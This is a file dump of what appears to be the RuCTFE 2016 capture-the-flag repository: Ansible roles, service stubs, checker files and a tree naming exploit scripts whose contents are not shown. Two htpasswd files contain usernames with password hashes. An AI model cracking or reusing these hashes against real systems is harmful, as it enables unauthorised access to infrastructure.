├── .gitignore
├── services
├── crash
│ ├── symbols
│ │ └── .sym
│ ├── reports.db
│ ├── .gitignore
│ └── views
│ │ ├── main_page.tpl
│ │ └── report.tpl
├── atlablog
│ ├── __data__
│ │ └── .gitkeep
│ ├── static
│ │ ├── js
│ │ │ └── atlantis.js
│ │ ├── img
│ │ │ └── bg.jpg
│ │ └── lib
│ │ │ └── bootstrap
│ │ │ └── fonts
│ │ │ ├── glyphicons-halflings-regular.eot
│ │ │ ├── glyphicons-halflings-regular.ttf
│ │ │ ├── glyphicons-halflings-regular.woff
│ │ │ └── glyphicons-halflings-regular.woff2
│ ├── .gitignore
│ ├── templates
│ │ ├── index.html
│ │ ├── example.html
│ │ ├── login.html
│ │ └── registration.html
│ ├── README.md
│ ├── users
│ │ ├── __init__.py
│ │ └── decorators.py
│ ├── entries
│ │ └── __init__.py
│ ├── sessions
│ │ ├── __init__.py
│ │ ├── models.py
│ │ └── README.md
│ ├── _buisness_views
│ │ ├── __init__.py
│ │ └── logout.py
│ ├── requirements.txt
│ ├── settings.py
│ ├── test_main.py
│ ├── test_view.py
│ └── utils.py
├── cartographer
│ ├── src
│ │ ├── main
│ │ │ ├── resources
│ │ │ │ ├── static
│ │ │ │ │ ├── atlantis.js
│ │ │ │ │ └── cartographer.ico
│ │ │ │ └── log4j2.yaml
│ │ │ └── kotlin
│ │ │ │ └── cartographer
│ │ │ │ ├── crypto
│ │ │ │ ├── KeyStorage.kt
│ │ │ │ ├── KeyGenerator.kt
│ │ │ │ ├── KeyDeserializer.kt
│ │ │ │ ├── Cryptography.kt
│ │ │ │ ├── ChunkCryptography.kt
│ │ │ │ ├── DefaultKeyDeserializer.kt
│ │ │ │ ├── DefaultKeyGenerator.kt
│ │ │ │ ├── CryptographySettings.kt
│ │ │ │ └── DefaultCryptography.kt
│ │ │ │ ├── settings
│ │ │ │ ├── SettingsContainer.kt
│ │ │ │ ├── RequiredSettingMissingException.kt
│ │ │ │ ├── SettingsParseException.kt
│ │ │ │ ├── IntSetting.kt
│ │ │ │ ├── StringSetting.kt
│ │ │ │ ├── DoubleSetting.kt
│ │ │ │ └── DurationSetting.kt
│ │ │ │ ├── throttling
│ │ │ │ └── Throttler.kt
│ │ │ │ ├── providers
│ │ │ │ ├── DateTimeProvider.kt
│ │ │ │ ├── ReplicasProvider.kt
│ │ │ │ ├── AddressedProvider.kt
│ │ │ │ ├── LatencyCalculator.kt
│ │ │ │ └── DateTimeProviderUtc.kt
│ │ │ │ ├── data
│ │ │ │ ├── ChunkMetadata.kt
│ │ │ │ ├── Replica.kt
│ │ │ │ ├── SynchronizeTimeRequest.kt
│ │ │ │ ├── DecryptImageRequest.kt
│ │ │ │ ├── EncryptImageResponse.kt
│ │ │ │ ├── AddressLatencyHistory.kt
│ │ │ │ └── SynchronizeTimeResponse.kt
│ │ │ │ ├── storage
│ │ │ │ ├── ChunkReplicator.kt
│ │ │ │ └── ChunkStorage.kt
│ │ │ │ ├── helpers
│ │ │ │ ├── ZonedDateTimeHelper.kt
│ │ │ │ ├── UuidHelper.kt
│ │ │ │ ├── ThrottlingHelper.kt
│ │ │ │ └── SerializationHelper.kt
│ │ │ │ ├── Application.kt
│ │ │ │ └── configs
│ │ │ │ └── JacksonConfig.kt
│ │ └── test
│ │ │ ├── kotlin
│ │ │ └── cartographer
│ │ │ │ └── testhelpers
│ │ │ │ └── WaitHelper.kt
│ │ │ └── resources
│ │ │ └── log4j2.yaml
│ ├── .gitignore
│ ├── gradle
│ │ └── wrapper
│ │ │ ├── gradle-wrapper.jar
│ │ │ └── gradle-wrapper.properties
│ └── cartographer.iml
├── weather
│ ├── dispatcher.h
│ ├── .gitignore
│ ├── weather
│ ├── httpserver.h
│ ├── logging.h
│ ├── types.c
│ ├── controlserver.h
│ ├── randrec.py
│ ├── entrypoint.c
│ ├── signtool.c
│ ├── storage.h
│ ├── server.h
│ ├── httpserver.c
│ ├── types.h
│ ├── forecast.h
│ ├── Makefile
│ └── matrix.h
├── sapmarine
│ ├── .gitignore
│ ├── Sources
│ │ ├── JSONHelper.swift
│ │ ├── main.swift
│ │ ├── Trip.swift
│ │ ├── Utils.swift
│ │ └── Profile.swift
│ ├── static
│ │ ├── sapmarine.ico
│ │ ├── lib
│ │ │ └── bootstrap
│ │ │ │ └── fonts
│ │ │ │ ├── glyphicons-halflings-regular.eot
│ │ │ │ ├── glyphicons-halflings-regular.ttf
│ │ │ │ ├── glyphicons-halflings-regular.woff
│ │ │ │ └── glyphicons-halflings-regular.woff2
│ │ └── js
│ │ │ └── sapmarine.js
│ └── Package.swift
└── thebin
│ ├── makefile
│ ├── .gitignore
│ ├── public.lua
│ ├── startup.sh
│ ├── my.lua
│ ├── rand.lua
│ ├── static
│ └── css
│ │ └── bin.css
│ ├── json.lua
│ └── nginx.conf
├── sploits
├── crash
│ ├── dummy.file
│ ├── .gitignore
│ ├── dump.dmp
│ ├── dump_syms
│ ├── just_crash
│ ├── build.pl
│ ├── README
│ ├── just_crash.cpp
│ ├── sploit.py
│ └── sploit2.py
└── thebin
│ └── thebin.2.sploit.py
├── static
├── static
│ ├── js
│ │ └── atlantis.js
│ ├── img
│ │ ├── bg.jpg
│ │ └── weather
│ │ │ ├── clear.png
│ │ │ ├── rain.png
│ │ │ ├── snow.png
│ │ │ ├── cloudy.png
│ │ │ ├── some clouds.png
│ │ │ └── thunderstorm.png
│ ├── ico
│ │ ├── crash.ico
│ │ ├── main.ico
│ │ ├── thebin.ico
│ │ ├── atlablog.ico
│ │ ├── weather.ico
│ │ ├── sapmarine.ico
│ │ └── cartographer.ico
│ ├── lib
│ │ └── bootstrap
│ │ │ └── fonts
│ │ │ ├── glyphicons-halflings-regular.eot
│ │ │ ├── glyphicons-halflings-regular.ttf
│ │ │ ├── glyphicons-halflings-regular.woff
│ │ │ └── glyphicons-halflings-regular.woff2
│ └── css
│ │ └── weather.css
└── favicon.ico
├── viz-dev
├── .gitignore
├── server-run.bat
└── static
│ ├── img
│ ├── favicon.ico
│ ├── background.jpg
│ └── background.png
│ └── fonts
│ ├── Atlantean1.ttf.eot
│ └── Atlantean1.ttf.woff
├── ansible
├── .gitignore
├── roles
│ ├── monitoring_client
│ │ ├── files
│ │ │ ├── diamond
│ │ │ │ ├── handlers
│ │ │ │ │ └── .keep
│ │ │ │ └── collectors
│ │ │ │ │ ├── MemoryCollector.conf
│ │ │ │ │ ├── VMStatCollector.conf
│ │ │ │ │ ├── ProcessStatCollector.conf
│ │ │ │ │ ├── SockstatCollector.conf
│ │ │ │ │ ├── LoadAverageCollector.conf
│ │ │ │ │ ├── FilesCollector.conf
│ │ │ │ │ ├── CPUCollector.conf
│ │ │ │ │ ├── UserScriptsCollector.conf
│ │ │ │ │ ├── DiskSpaceCollector.conf
│ │ │ │ │ ├── DiskUsageCollector.conf
│ │ │ │ │ ├── ConnTrackCollector.conf
│ │ │ │ │ ├── NetworkCollector.conf
│ │ │ │ │ └── TCPCollector.conf
│ │ │ └── diamond.service
│ │ ├── handlers
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ └── main.yml
│ ├── cs_checker
│ │ └── templates
│ │ │ ├── sites.txt
│ │ │ └── worker-checkers.service.j2
│ ├── sapmarine
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── templates
│ │ │ └── service.j2
│ │ └── tasks
│ │ │ └── main.yml
│ ├── cartographer
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── templates
│ │ │ └── service.j2
│ │ └── tasks
│ │ │ └── main.yml
│ ├── general_nginx
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ └── templates
│ │ │ ├── service.conf.j2
│ │ │ └── vhost.conf.j2
│ ├── redis
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ └── main.yml
│ ├── lxc
│ │ ├── meta
│ │ │ └── main.yml
│ │ └── templates
│ │ │ ├── default.conf.j2
│ │ │ └── lxc-net.j2
│ ├── nginx
│ │ ├── meta
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ └── main.yml
│ ├── thebin
│ │ ├── meta
│ │ │ └── main.yml
│ │ ├── handlers
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ └── main.yml
│ ├── vpn
│ │ ├── files
│ │ │ ├── nginx
│ │ │ │ └── htpasswd
│ │ │ ├── antidos
│ │ │ │ ├── list_blocked_teams.sh
│ │ │ │ ├── antidos.service
│ │ │ │ ├── block_team.sh
│ │ │ │ ├── unblock_team.sh
│ │ │ │ └── antidos_serv.py
│ │ │ ├── teamcheck
│ │ │ │ ├── favicon.ico
│ │ │ │ ├── teamcheck.service
│ │ │ │ └── teams.py
│ │ │ ├── snat
│ │ │ │ ├── del_snat_rules.sh
│ │ │ │ ├── check_snat_rules.sh
│ │ │ │ └── add_snat_rules.sh
│ │ │ ├── networkclosed
│ │ │ │ ├── networkclosed.service
│ │ │ │ ├── open_network.sh
│ │ │ │ ├── close_network.sh
│ │ │ │ ├── networkclosed_serv.py
│ │ │ │ └── check_network.sh
│ │ │ ├── trafdump
│ │ │ │ └── del_trafdump_rules.sh
│ │ │ ├── openvpn_prod
│ │ │ │ ├── 0.conf
│ │ │ │ ├── 1.conf
│ │ │ │ ├── 2.conf
│ │ │ │ ├── 256.conf
│ │ │ │ ├── 257.conf
│ │ │ │ ├── 258.conf
│ │ │ │ ├── 259.conf
│ │ │ │ ├── 260.conf
│ │ │ │ ├── 261.conf
│ │ │ │ ├── 262.conf
│ │ │ │ ├── 263.conf
│ │ │ │ ├── 264.conf
│ │ │ │ ├── 265.conf
│ │ │ │ ├── 3.conf
│ │ │ │ ├── 4.conf
│ │ │ │ ├── 5.conf
│ │ │ │ ├── 512.conf
│ │ │ │ ├── 513.conf
│ │ │ │ ├── 514.conf
│ │ │ │ ├── 515.conf
│ │ │ │ ├── 516.conf
│ │ │ │ ├── 517.conf
│ │ │ │ ├── 518.conf
│ │ │ │ ├── 519.conf
│ │ │ │ ├── 520.conf
│ │ │ │ ├── 521.conf
│ │ │ │ ├── 6.conf
│ │ │ │ ├── 7.conf
│ │ │ │ ├── 8.conf
│ │ │ │ ├── 9.conf
│ │ │ │ ├── 10.conf
│ │ │ │ ├── 11.conf
│ │ │ │ ├── 12.conf
│ │ │ │ ├── 13.conf
│ │ │ │ └── 14.conf
│ │ │ └── openvpn_dev
│ │ │ │ ├── 0.conf
│ │ │ │ ├── 1.conf
│ │ │ │ ├── 2.conf
│ │ │ │ ├── 256.conf
│ │ │ │ ├── 257.conf
│ │ │ │ ├── 258.conf
│ │ │ │ ├── 259.conf
│ │ │ │ ├── 260.conf
│ │ │ │ ├── 261.conf
│ │ │ │ ├── 262.conf
│ │ │ │ ├── 263.conf
│ │ │ │ ├── 264.conf
│ │ │ │ ├── 265.conf
│ │ │ │ ├── 3.conf
│ │ │ │ ├── 4.conf
│ │ │ │ ├── 5.conf
│ │ │ │ ├── 512.conf
│ │ │ │ ├── 513.conf
│ │ │ │ ├── 514.conf
│ │ │ │ ├── 515.conf
│ │ │ │ ├── 516.conf
│ │ │ │ ├── 517.conf
│ │ │ │ ├── 518.conf
│ │ │ │ ├── 519.conf
│ │ │ │ ├── 520.conf
│ │ │ │ ├── 521.conf
│ │ │ │ ├── 6.conf
│ │ │ │ ├── 7.conf
│ │ │ │ ├── 8.conf
│ │ │ │ └── 9.conf
│ │ ├── gen
│ │ │ ├── client_dev.tar.xz
│ │ │ ├── client_prod.tar.xz
│ │ │ ├── gen_keys.py
│ │ │ └── gen_conf_server.py
│ │ └── handlers
│ │ │ └── main.yml
│ ├── atlablog
│ │ ├── meta
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── service.j2
│ ├── monitoring
│ │ ├── files
│ │ │ ├── htpasswd
│ │ │ ├── grafana.db
│ │ │ ├── graphite.db
│ │ │ ├── graphite.ini
│ │ │ └── default
│ │ └── handlers
│ │ │ └── main.yml
│ ├── cartographer-build
│ │ ├── meta
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ └── main.yml
│ ├── logging_client
│ │ ├── handlers
│ │ │ └── main.yml
│ │ └── tasks
│ │ │ └── main.yml
│ ├── crash
│ │ ├── files
│ │ │ ├── dump_syms
│ │ │ └── minidump_stackwalk
│ │ └── templates
│ │ │ └── service.j2
│ ├── common
│ │ ├── handlers
│ │ │ └── main.yml
│ │ └── templates
│ │ │ ├── 65-external_network.j2
│ │ │ ├── 60-internal_network.j2
│ │ │ └── hosts.j2
│ ├── dump
│ │ ├── handlers
│ │ │ └── main.yml
│ │ ├── scripts
│ │ │ ├── get_flagsubmit_traffic.sh
│ │ │ ├── traffic.sh
│ │ │ └── get_realtime_team_traffic.sh
│ │ ├── files
│ │ │ ├── dump@.service
│ │ │ └── start_dump_eth0.sh
│ │ └── tasks
│ │ │ └── main.yml
│ ├── cs_flags
│ │ ├── tasks
│ │ │ └── main.yml
│ │ └── templates
│ │ │ └── flags@.service.j2
│ ├── stretch
│ │ ├── templates
│ │ │ └── apt_preferences.j2
│ │ └── tasks
│ │ │ └── main.yml
│ ├── weather
│ │ ├── templates
│ │ │ └── service.j2
│ │ └── tasks
│ │ │ └── main.yml
│ ├── logging
│ │ └── handlers
│ │ │ └── main.yml
│ ├── java8
│ │ └── tasks
│ │ │ └── main.yml
│ ├── cs_master
│ │ ├── templates
│ │ │ ├── manager.service.j2
│ │ │ ├── worker.service.j2
│ │ │ ├── watcher.service.j2
│ │ │ ├── web.service.j2
│ │ │ └── nginx.conf.j2
│ │ └── tasks
│ │ │ └── main.yml
│ ├── noman
│ │ ├── tasks
│ │ │ └── main.yaml
│ │ └── files
│ │ │ └── 01_nodoc
│ ├── backuper
│ │ ├── files
│ │ │ ├── id_rsa.pub
│ │ │ └── checksystem_backup.sh
│ │ └── tasks
│ │ │ └── main.yml
│ ├── thebin-build
│ │ └── tasks
│ │ │ └── main.yml
│ ├── backupable
│ │ └── tasks
│ │ │ └── main.yml
│ ├── swift
│ │ └── tasks
│ │ │ └── main.yml
│ ├── image
│ │ └── tasks
│ │ │ └── main.yml
│ └── cs_common
│ │ ├── templates
│ │ └── telegraf.conf.j2
│ │ └── tasks
│ │ └── main.yml
├── dump.yaml
├── vpn.yaml
├── logging.yaml
├── monitoring.yaml
├── backuper.yaml
├── cs-flags.yaml
├── ansible.cfg
├── cs-checker.yaml
├── cs-master.yaml
└── ructfe2016_rsa.pub
├── checkers
├── atlablog
│ ├── templates
│ │ ├── __init__.py
│ │ ├── user_agents.py
│ │ └── user_credentials.py
│ ├── requirements.txt
│ ├── comands
│ │ └── __init__.py
│ └── README.md
├── thebin
│ ├── .gitignore
│ └── UserAgents.py
├── crash
│ ├── .gitignore
│ ├── dump_syms
│ ├── minidump_stackwalk
│ ├── submarine_internal
│ ├── UserAgents.py
│ └── build.pl
├── weather
│ └── checker
└── cartographer
│ └── UserAgents.py
├── viz
└── static
│ ├── img
│ ├── favicon.ico
│ └── background.jpg
│ └── fonts
│ ├── Atlantean1.ttf.eot
│ └── Atlantean1.ttf.woff
└── README.md
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 |
--------------------------------------------------------------------------------
/services/crash/symbols/.sym:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/sploits/crash/dummy.file:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/static/static/js/atlantis.js:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/viz-dev/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 |
--------------------------------------------------------------------------------
/ansible/.gitignore:
--------------------------------------------------------------------------------
1 | *.retry
2 |
--------------------------------------------------------------------------------
/services/atlablog/__data__/.gitkeep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/checkers/atlablog/templates/__init__.py:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/services/atlablog/static/js/atlantis.js:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/checkers/thebin/.gitignore:
--------------------------------------------------------------------------------
1 | *.swp
2 | __pycache__
--------------------------------------------------------------------------------
/sploits/crash/.gitignore:
--------------------------------------------------------------------------------
1 | reports.db
2 |
3 |
--------------------------------------------------------------------------------
/checkers/crash/.gitignore:
--------------------------------------------------------------------------------
1 | dumps/*
2 | zips/*
3 |
4 |
--------------------------------------------------------------------------------
/viz-dev/server-run.bat:
--------------------------------------------------------------------------------
1 | python .\test-server\server.py
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/files/diamond/handlers/.keep:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/services/cartographer/src/main/resources/static/atlantis.js:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/services/atlablog/.gitignore:
--------------------------------------------------------------------------------
1 | .cache
2 | __pycache__/
3 | *.py[cod]
4 |
--------------------------------------------------------------------------------
/ansible/roles/cs_checker/templates/sites.txt:
--------------------------------------------------------------------------------
1 | 10.10.10.8:8000/index.html
2 |
--------------------------------------------------------------------------------
/ansible/roles/sapmarine/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - swift
4 |
--------------------------------------------------------------------------------
/services/weather/dispatcher.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | void wt_run_dispatcher();
--------------------------------------------------------------------------------
/ansible/roles/cartographer/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - java8
4 |
--------------------------------------------------------------------------------
/ansible/roles/general_nginx/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - nginx
4 |
--------------------------------------------------------------------------------
/ansible/roles/redis/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - { role: stretch }
--------------------------------------------------------------------------------
/ansible/roles/lxc/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - { role: stretch }
4 |
--------------------------------------------------------------------------------
/ansible/roles/nginx/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - { role: stretch }
4 |
--------------------------------------------------------------------------------
/ansible/roles/thebin/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - redis
4 | - nginx
5 |
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/nginx/htpasswd:
--------------------------------------------------------------------------------
1 | dev:$apr1$JTlIsrZp$tVnWHgVUQXY5IoIGvM4Jv0
2 |
--------------------------------------------------------------------------------
/services/sapmarine/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | /.build
3 | /Packages
4 | /*.xcodeproj
5 |
--------------------------------------------------------------------------------
/services/weather/.gitignore:
--------------------------------------------------------------------------------
1 | *.o
2 | *.db
3 | *.log
4 | signtool
5 | checker
6 | about.txt
--------------------------------------------------------------------------------
/ansible/roles/atlablog/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - { role: stretch }
4 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring/files/htpasswd:
--------------------------------------------------------------------------------
1 | monitor:$apr1$2P..GHS5$7X02vHCsguC4IfAOLGSza/
2 |
--------------------------------------------------------------------------------
/checkers/atlablog/requirements.txt:
--------------------------------------------------------------------------------
1 | Pillow
2 | requests
3 | beautifulsoup4
4 | selenium
5 |
--------------------------------------------------------------------------------
/static/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/favicon.ico
--------------------------------------------------------------------------------
/ansible/roles/cartographer-build/meta/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | dependencies:
3 | - { role: java8 }
4 |
--------------------------------------------------------------------------------
/services/thebin/makefile:
--------------------------------------------------------------------------------
1 | rand.so: rand.c
2 | gcc -shared -fPIC -Wall -Wextra -O3 rand.c -o rand.so
3 |
--------------------------------------------------------------------------------
/sploits/crash/dump.dmp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/sploits/crash/dump.dmp
--------------------------------------------------------------------------------
/sploits/crash/dump_syms:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/sploits/crash/dump_syms
--------------------------------------------------------------------------------
/ansible/roles/vpn/files/antidos/list_blocked_teams.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | iptables-save | grep antidos
4 |
--------------------------------------------------------------------------------
/checkers/atlablog/comands/__init__.py:
--------------------------------------------------------------------------------
1 | OK, CORRUPT, MUMBLE, DOWN, CHECKER_ERROR = 101, 102, 103, 104, 110
2 |
--------------------------------------------------------------------------------
/checkers/crash/dump_syms:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/checkers/crash/dump_syms
--------------------------------------------------------------------------------
/checkers/weather/checker:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/checkers/weather/checker
--------------------------------------------------------------------------------
/services/crash/reports.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/crash/reports.db
--------------------------------------------------------------------------------
/services/weather/weather:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/weather/weather
--------------------------------------------------------------------------------
/sploits/crash/just_crash:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/sploits/crash/just_crash
--------------------------------------------------------------------------------
/static/static/img/bg.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/bg.jpg
--------------------------------------------------------------------------------
/static/static/ico/crash.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/crash.ico
--------------------------------------------------------------------------------
/static/static/ico/main.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/main.ico
--------------------------------------------------------------------------------
/static/static/ico/thebin.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/thebin.ico
--------------------------------------------------------------------------------
/viz/static/img/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz/static/img/favicon.ico
--------------------------------------------------------------------------------
/ansible/roles/logging_client/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: restart rsyslog
2 | service: name=rsyslog state=restarted
3 |
--------------------------------------------------------------------------------
/ansible/roles/redis/handlers/main.yml:
--------------------------------------------------------------------------------
1 | ---
2 | - name: restart redis
3 | service: name=redis-server state=restarted
--------------------------------------------------------------------------------
/services/thebin/.gitignore:
--------------------------------------------------------------------------------
1 | *_temp
2 | logs
3 | nginx.conf.compiled
4 | *.o
5 | *.so
6 | *.swp
7 | *.out
8 | *.s
9 |
--------------------------------------------------------------------------------
/static/static/ico/atlablog.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/atlablog.ico
--------------------------------------------------------------------------------
/static/static/ico/weather.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/weather.ico
--------------------------------------------------------------------------------
/viz-dev/static/img/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/img/favicon.ico
--------------------------------------------------------------------------------
/viz/static/img/background.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz/static/img/background.jpg
--------------------------------------------------------------------------------
/checkers/crash/minidump_stackwalk:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/checkers/crash/minidump_stackwalk
--------------------------------------------------------------------------------
/checkers/crash/submarine_internal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/checkers/crash/submarine_internal
--------------------------------------------------------------------------------
/services/atlablog/templates/index.html:
--------------------------------------------------------------------------------
1 | {% extends "base.html" %}
2 |
3 | {% block content %}
4 |
5 | {% endblock %}
6 |
--------------------------------------------------------------------------------
/static/static/ico/sapmarine.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/sapmarine.ico
--------------------------------------------------------------------------------
/viz-dev/static/img/background.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/img/background.jpg
--------------------------------------------------------------------------------
/viz-dev/static/img/background.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/img/background.png
--------------------------------------------------------------------------------
/ansible/roles/crash/files/dump_syms:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/crash/files/dump_syms
--------------------------------------------------------------------------------
/services/atlablog/static/img/bg.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/atlablog/static/img/bg.jpg
--------------------------------------------------------------------------------
/services/cartographer/.gitignore:
--------------------------------------------------------------------------------
1 | build/**
2 | out/**
3 |
4 | .idea/**
5 | .gradle/**
6 |
7 | logs/**
8 | config/**
9 | data/**
--------------------------------------------------------------------------------
/services/sapmarine/Sources/JSONHelper.swift:
--------------------------------------------------------------------------------
1 | import SwiftyJSON
2 |
3 | protocol JSONDecodable {
4 | init(json: JSON)
5 | }
--------------------------------------------------------------------------------
/static/static/ico/cartographer.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/ico/cartographer.ico
--------------------------------------------------------------------------------
/static/static/img/weather/clear.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/clear.png
--------------------------------------------------------------------------------
/static/static/img/weather/rain.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/rain.png
--------------------------------------------------------------------------------
/static/static/img/weather/snow.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/snow.png
--------------------------------------------------------------------------------
/viz/static/fonts/Atlantean1.ttf.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz/static/fonts/Atlantean1.ttf.eot
--------------------------------------------------------------------------------
/ansible/dump.yaml:
--------------------------------------------------------------------------------
1 | - hosts: dump
2 | roles:
3 | - common
4 | - dump
5 | - monitoring_client
6 | - logging_client
7 |
--------------------------------------------------------------------------------
/ansible/roles/common/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: update timezone
2 | command: dpkg-reconfigure --frontend noninteractive tzdata
3 |
--------------------------------------------------------------------------------
/ansible/vpn.yaml:
--------------------------------------------------------------------------------
1 | - hosts: vpn
2 | roles:
3 | - common
4 | - vpn
5 | - monitoring_client
6 | - logging_client
7 |
--------------------------------------------------------------------------------
/static/static/img/weather/cloudy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/static/static/img/weather/cloudy.png
--------------------------------------------------------------------------------
/viz/static/fonts/Atlantean1.ttf.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz/static/fonts/Atlantean1.ttf.woff
--------------------------------------------------------------------------------
/ansible/roles/vpn/gen/client_dev.tar.xz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/vpn/gen/client_dev.tar.xz
--------------------------------------------------------------------------------
/ansible/roles/vpn/gen/client_prod.tar.xz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/vpn/gen/client_prod.tar.xz
--------------------------------------------------------------------------------
/services/sapmarine/static/sapmarine.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/services/sapmarine/static/sapmarine.ico
--------------------------------------------------------------------------------
/viz-dev/static/fonts/Atlantean1.ttf.eot:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/fonts/Atlantean1.ttf.eot
--------------------------------------------------------------------------------
/viz-dev/static/fonts/Atlantean1.ttf.woff:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/viz-dev/static/fonts/Atlantean1.ttf.woff
--------------------------------------------------------------------------------
/ansible/logging.yaml:
--------------------------------------------------------------------------------
1 | - hosts: logging
2 | roles:
3 | - common
4 | - logging
5 | - monitoring_client
6 | - logging_client
7 |
--------------------------------------------------------------------------------
/ansible/roles/monitoring/files/grafana.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/monitoring/files/grafana.db
--------------------------------------------------------------------------------
/ansible/roles/monitoring/files/graphite.db:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/HackerDom/ructfe-2016/HEAD/ansible/roles/monitoring/files/graphite.db
--------------------------------------------------------------------------------
/ansible/roles/monitoring_client/handlers/main.yml:
--------------------------------------------------------------------------------
1 | - name: enable and restart diamond
2 | service: name=diamond enabled=yes state=restarted
--------------------------------------------------------------------------------
/static/static/img/weather/some clouds.png:
--------------------------------------------------------------------------------
